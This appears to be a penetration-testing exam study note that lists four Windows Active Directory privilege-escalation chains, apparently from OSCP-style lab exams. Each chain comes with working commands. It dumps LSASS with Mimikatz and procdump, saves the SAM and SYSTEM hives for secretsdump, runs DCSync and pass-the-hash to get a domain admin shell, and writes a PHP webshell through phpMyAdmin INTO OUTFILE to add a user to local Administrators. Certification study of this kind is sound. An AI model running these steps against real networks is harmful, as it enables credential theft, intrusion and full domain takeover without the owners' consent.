PrivEsc Vectors
AD — Privilege Escalation Vectors
1. SeDebugPrivilege → LSASS Dump → Administrator Credential Extraction → Lateral Movement to Internal
Seen in: Exam C (External)
OS: Windows (domain-joined workstation)
Starting user: low-priv domain user (assumed breach)
Discovery Steps
whoami /priv→SeDebugPrivilege: Enabled- SeDebugPrivilege allows attaching a debugger to any process, including LSASS
Exploitation Steps
- Dump LSASS with Mimikatz:
Alternatively:privilege::debug sekurlsa::logonpasswordsprocdump.exe -ma lsass.exe lsass.dmp→ transfer dump and parse offline withpypykatzor Mimikatz - Extract NTLM hash or cleartext password for a higher-privileged account (local admin, cached domain admin, or service account)
- Use extracted credentials to pivot to Internal:
nxc smb $INTERNAL -u $USER -p $PASSornxc smb $INTERNAL -u $USER -H $HASH
Notes
- SeDebugPrivilege should not be assigned to standard domain users — immediate red flag when seen on
whoami /priv - LSASS dump may trigger AV/EDR; in the exam environment this was not observed as an issue
- Cleartext credentials may be present if WDigest authentication is enabled on the host
2. SeBackupPrivilege → SAM/SYSTEM Hive Backup → Local Hash Dump → Credential Reuse on Internal
Seen in: Exam B (External)
OS: Windows (domain-joined workstation)
Starting user: low-priv domain user (assumed breach)
Discovery Steps
whoami /priv→SeBackupPrivilege: Enabled- SeBackupPrivilege allows reading any file bypassing ACL (as if holding backup rights)
Exploitation Steps
- Save registry hives using SeBackupPrivilege:
reg save HKLM\SAM C:\Temp\sam.hive reg save HKLM\SYSTEM C:\Temp\system.hive - Download hive files to Kali (via evil-winrm
downloadcommand or SMB staging) impacket-secretsdump -sam sam.hive -system system.hive LOCAL→ dumps local user NTLM hashes- Pass-the-hash or crack hashes offline → obtain local administrator credentials
- Use credentials to access Internal:
nxc smb $INTERNAL -u Administrator -H $HASH
Notes
reg saveis the cleanest approach — no additional tooling required beyond what ships with Windows- If the local admin hash is reused across machines (common in OSCP labs), lateral movement follows immediately
- SeBackupPrivilege can also directly copy sensitive files (NTDS.dit, SYSTEM hive on a DC if accessed directly)
3. Exposed SMB Backup Files on Internal → secretsdump → High-Privilege AD Account → DCSync → Domain Admin (DC)
Seen in: Exam C (Internal → DC)
OS: Windows Server (domain member → Domain Controller)
Starting user: credential pivot from External
Discovery Steps
- Access Internal via SMB using credentials from External dump
nxc smb $INTERNAL -u $USER -p $PASS --shares→ enumerate shares; identify non-standard share with backup filessmbclient //$INTERNAL/$SHARE -U $USER%$PASS→ browse share; find SAM/SYSTEM hive backups or NTDS artifacts
Exploitation Steps
- Download backup files from the share
impacket-secretsdump -sam sam.hive -system system.hive LOCAL→ dumps credential material from backup- Identify an account with excessive AD permissions (DCSync rights, Domain Admins membership, or WriteDACL on domain object)
- DCSync from Kali:
impacket-secretsdump -just-dc-ntlm oscp.exam/$USER:$PASS@$DC_IP→ dumps all domain NTLM hashes includingAdministrator - Pass-the-hash to DC:
evil-winrm -i $DC_IP -u Administrator -H $HASH→ Domain Admin shell - Retrieve
proof.txtfromC:\Users\Administrator\Desktop\
Notes
- DCSync is entirely remote — no interactive access to the DC is required, only a sufficiently privileged account credential
- The privileged account was surfaced through
secretsdumpoutput from Internal's backup files - Excessive AD permissions was the consistent final-link misconfiguration; could also verify with BloodHound if time permits
See Also
4. XAMPP/phpMyAdmin on Port 80 → PHP Webshell → Local Admin Group Add → Admin Shell
Seen in: Exam G (External)
OS: Windows (domain-joined workstation, XAMPP stack running)
Starting user: low-priv domain user (assumed breach)
Discovery Steps
whoami /priv→ nothing exploitable (no SeDebugPrivilege / SeBackupPrivilege in this instance)- nmap shows port 80 open on WS26 alongside 135, 139, 443, 445, 3389
gobuster dir -u http://$IP -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt→ discovers/phpmyadmin- Browse to
http://$IP/phpmyadmin→ phpMyAdmin login page (XAMPP default install)
Exploitation Steps
- Log in with assumed breach credentials or test blank MySQL root password (XAMPP default)
- In phpMyAdmin, run SQL to write a PHP webshell to the XAMPP webroot:
SELECT '<?php system($_GET["cmd"]); ?>' INTO OUTFILE 'C:/xampp/htdocs/shell.php' - Browse to
http://$IP/shell.php?cmd=whoami→ confirms RCE - Use webshell to add current user to local Administrators:
http://$IP/shell.php?cmd=net+localgroup+Administrators+r.andrews+/add - Re-authenticate via evil-winrm or RDP — now running as local admin
- Retrieve
proof.txtfromC:\Users\Administrator\Desktop\
Notes
- This path applies when
whoami /privshows no useful token privileges — phpMyAdmin is the fallback - XAMPP installs MySQL as root with no password by default; always test blank password first
SELECT INTO OUTFILErequires MySQL FILE privilege and webroot write access — both default on XAMPP- Check phpMyAdmin on port 80 and 8080